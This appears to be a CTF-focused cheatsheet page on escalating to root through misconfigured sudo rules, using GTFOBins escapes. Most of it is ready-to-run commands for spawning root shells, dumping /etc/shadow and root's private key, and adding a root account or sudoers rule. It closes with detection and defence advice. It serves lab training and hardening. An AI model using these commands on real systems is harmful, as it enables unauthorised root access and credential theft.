sudo escape with GTFOBins
Full command arsenal in the cheatsheetGTFOBins is a catalogue of legitimate Unix binaries that, when misconfigured, can break restrictions: read/write files beyond your reach, keep a shell, or escalate privileges. The most common CTF route is sudo: when sudo -l shows a user can run a given binary as root without a password, many of those binaries offer a "side door" to spawn a shell inheriting that privileged context.
Enumeration#
The starting point is always sudo -l, which lists the rules granted to the current user:
sudo -l
# (root) NOPASSWD: /usr/bin/vi /var/www/html/*Each allowed binary gets looked up on GTFOBins: if it has a Sudo section, there's almost always a direct escape. The key is that plenty of tools can run arbitrary commands without being shell interpreters: editors (vi, vim, nano), pagers (less, more, man), languages (awk, perl, python, find -exec) or utilities like tar/rsync/zip with their hooks.
Root shell escape#
Each line is the escape for whichever binary shows up in sudo -l. The shell inherits root because sudo already elevated the process:
sudo vi -c ':!/bin/bash' /dev/null # or :set shell=/bin/bash + :shell
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-c","reset; exec bash")'
sudo nano # ^R^X then type: reset; sh 1>&0 2>&0
sudo find . -exec /bin/bash \; -quit
sudo env /bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo perl -e 'exec "/bin/bash";'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo less /etc/profile # inside: !/bin/bash
sudo man man # inside: !/bin/bash
sudo git -p help config # inside the pager: !/bin/bash
sudo ftp # inside: !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo systemctl # pager open: !sh
sudo dpkg -l # pager open: !/bin/bash
sudo php -r "system('/bin/sh');"
sudo mysql -e '\! /bin/sh'
sudo mail --exec='!/bin/sh'
sudo nice /tmp/privesc.sh # nice runs whatever program it is given
sudo go run /tmp/script.go # a main() that calls exec.Command
sudo composer --working-dir=<dir> run-script x # with {"scripts":{"x":"/bin/sh"}} in composer.jsonThose nine lines are the ones the corpus actually grants: vi in swagshop, nano in consolelog, tar in cockpit and tartarsauce, dpkg -l in symfonos-5, php in chocolatelovers and bigpivoting, mysql in symfonos-1-2, mail in postfish, nice in potato, go in symfonos-6 and composer in lavita.
Many "network" or service binaries also escape (ssh, scp, nmap, gdb, docker); the Sudo section of GTFOBins has the exact line for each. And when the allowed binary is not in GTFOBins because it is homegrown, there is no catalogue to look up: you have to read it (what a custom privileged binary calls).
File read as root#
If the binary gives no shell but reads, dump /etc/shadow to crack the hash or read root's private key. One binary per line:
sudo cat /etc/shadow
sudo cp /etc/shadow /tmp/shadow && cat /tmp/shadow
sudo head -n 100 /root/.ssh/id_rsa
sudo xxd /etc/shadow | xxd -r
sudo base64 /etc/shadow | base64 -d
sudo less /etc/shadow
sudo vim -c ':r /etc/shadow' -c ':w! /tmp/out' -c ':q!'
sudo grep '' /etc/shadow
sudo cut -d: -f1- /etc/shadow
sudo file -f /etc/shadow # treats each line as a filenameThe file -f line deserves a note of its own because it is not obvious: with -f the argument is a list of filenames, so file tries to open every line of the file as if it were a path and, failing, prints the whole line in the error message. That is dance-samba's escalation.
File write as root#
If the binary writes, the cleanest path is adding yourself to /etc/passwd, dropping a rule in /etc/sudoers, or planting a key in root's authorized_keys:
openssl passwd -1 -salt hax pass123 # generates the $1$hax$... hash
echo 'hax:$1$hax$...:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
sudo cp ~/.ssh/id_rsa.pub /root/.ssh/authorized_keysGTFOBins classifies each binary by Shell, File read, File write and SUID: check which column the one you're allowed falls into.
What usually gets in the way#
- The wildcard doesn't protect. A rule
(root) NOPASSWD: /usr/bin/vi /var/www/html/*looks scoped to a directory, but the escape doesn't depend on the file opened: onceviruns as root,:!/bin/bashgives root all the same. env_resetand absolute paths mean a merePATHchange won't do; if the rule points to an absolute path, the escape must come from the binary itself (or move to PATH hijacking if the rule calls a binary with no path).LD_PRELOAD/LD_LIBRARY_PATH: ifsudo -lshowsenv_keep+=LD_PRELOAD, compile a malicious.soand inject it when invoking any allowed binary (see shared library injection).
How to detect it. sudo logs every invocation to /var/log/auth.log (or journalctl _COMM=sudo): the signature is a legitimate binary (vi, find, tar, awk) run as root and immediately followed by a sh/bash child, a lineage that binary never produces in normal use (auditd/Sysmon for Linux over execve with the allowed binary as ppid). A find ... -exec /bin/bash or a tar --checkpoint-action=exec in the sudo logs is practically a confession.
Defence. Grant via sudo only binaries with no shell-out capability; avoid broad wildcards; prefer wrapper scripts with fixed arguments; don't keep LD_* in env_keep; and audit sudoers against the GTFOBins list. Related to other abuses like sudo + rsync, writable script via sudo or PATH hijacking.
Machines where it's used
- BigPivotingDockerLabs
- BuscaloveDockerLabs
- ChocolateLoversDockerLabs
- ClueProving Grounds Practice
- ConsolelogDockerLabs
- CozyHostingHackTheBox
- ctrl+xHackerlabs
- Dance-SambaDockerLabs
- Darkhole 2VulnHub
- DockerlabsDockerLabs
- LaVitaProving Grounds Practice
- MentorHackTheBox
- PostfishProving Grounds Practice
- PotatoProving Grounds Play
- PsychoDockerLabs
- SundayHackTheBox
- SwagShopHackTheBox
- Symfonos 1 & 2VulnHub
- Symfonos 5VulnHub
- Symfonos 6VulnHub
- TartarSauceHackTheBox
- ZabProving Grounds Practice